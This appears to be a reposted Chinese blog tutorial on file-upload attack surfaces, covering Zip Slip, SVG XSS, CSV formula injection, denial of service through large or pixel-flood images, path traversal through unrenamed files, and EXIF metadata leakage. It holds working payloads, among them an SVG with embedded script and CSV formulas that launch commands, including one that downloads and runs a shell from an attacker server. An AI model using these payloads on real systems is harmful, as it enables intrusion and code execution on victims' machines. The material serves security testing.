文件上传常见攻击面

1.允许上传压缩包

如果可以上传压缩包,并且服务端会对压缩包解压,那么就可能存在Zip Slip目录走访漏洞;恶意攻击者通过构造一个压缩文件条目中带有../的压缩文件,上传后交给应用程序进行解压,由于程序解压时没有对压缩包内部的文件名进行合法性的校验,而是直接将文件名拼接在待解压目录后面,导致可以将文件解压到正常解压缩路径之外并覆盖可执行文件,从而等待系统或用户调用他们实现代码执行

本质: 没有对压缩包中的文件名进行合法性校验,直接将文件名拼接到待解压目录中,导致存在路径遍历风险

举例: 若解压目录为/webapp/web/,给文件命名为:../../var/www/html/1.php并压缩,那么文件解压后,通过直接拼接文件名为/webapp/web/../../var/www/html/1.php,因此最终就会存放到/var/www/html/1.php中,如果能访问并解析,那么就能成功代码执行


2.允许上传HTML或SVG

允许上传html或者svg都可以能导致xss,也能导致任意URL跳转,甚至还能导致SSRF

主要说说svg文件如何造成xss

创建一个恶意的svg文件,输入如下内容:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

上传到文件中,并访问:

在这里插入图片描述


3.允许上传CSV

如果允许上传CSV文件,且上传的CSV文件的内容未经过处理过滤直接保存,那么可以尝试上传具有恶意命令执行payload的CSV文件,当其他用户下载该CSV文件时,可能会导致命令执行

CSV Payload:

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

4.允许上传大文件

如果未限制文件大小或不存在相关的验证检查,那么攻击者可能会上传相对较大的文件,造成大量资源消耗,从而可能导致拒绝服务

检查思路:

  • 创建一个超大的图片文件,如500M的png,并上传图片
  • 新开一个浏览器页面或从另一台设备浏览网站,查看响应速度是否变慢或是否存在连接错误等异常情况

5.像素洪水攻击

任意可以上传图片的地方都可以进行测试;在Pixel Flood Attack中,攻击者尝试上传具有大像素的文件(64250x64250像素),一些应用会使用第三方组件/库对图像进行缩小处理,以节省存储空间和处理能力,但是这些第三方库在处理的时候,会将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而消耗服务器资源,导致应用最终崩溃宕机


6.不会对上传文件重命名

一些网站配置不当,或者开发安全意识不严谨,将用户上传的文件直接按原名存储到服务器中,那么我们就可以尝试将文件名添加回溯符../,以上传文件到任意目录,甚至覆盖文件,达到getshell或者破坏系统的目的

如将文件名设置为../../../../etc/passwd,然后上传对应的内容,那么则有可能直接覆盖掉/etc/passwd

一般情况下尽量去覆盖不会对系统产生影响且我们可以直接观察到的文件,如robots.txt


7.元数据泄漏

如果服务端对用户上传的图片未进行处理就直接展示,那么将可能会导致源数据泄漏;通常情况下,元数据中包含GPS地址、设备信息等,会被当作低危

元数据泄漏不仅限于图片,还可以在其他文件格式中找到,如PDF⚽

  • 在头像上传等图片可以被枚举的功能点上传包含有exif敏感信息的图片,没有的话可以用手机现拍 (前提是手机的相机不能抹除图片的exif信息)
  • 下载刚才上传的图片
  • 使用工具分析数据

介绍一款元数据查看的工具:Metadata++

下载工具包:

Metadata++

下载需要的版本:

在这里插入图片描述

进入软件之前,先要配置三个工具的路径信息:

在这里插入图片描述

之后点击OK进入软件即可

选择要查看元数据的照片,右侧会出现元数据的详细信息:

在这里插入图片描述

支持信息导出功能:

在这里插入图片描述

Aperture	1.8
Aperture Value	1.8
Bits Per Sample	8
Blue Matrix Column	0.1571 0.06657 0.78407
Blue Tone Reproduction Curve	(Binary data 32 bytes)
Brightness Value	1.11
CMM Flags	Not Embedded, Independent
Chromatic Adaptation	1.04788 0.02292 -0.0502 0.02959 0.99048 -0.01706 -0.00923 0.01508 0.75168
Circle Of Confusion	0.006 mm
...

介绍一款可以直观查看图片拍摄位置的工具:geosetter

实测地图接口可能有些问题,但是还是可以查看和修改图片的元数据信息的

geosetter下载

查看图片的GPS信息:

在这里插入图片描述

双击图片可以修改元数据信息,造成混淆:

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Gherbirthday0916/article/details/129777697
今日推荐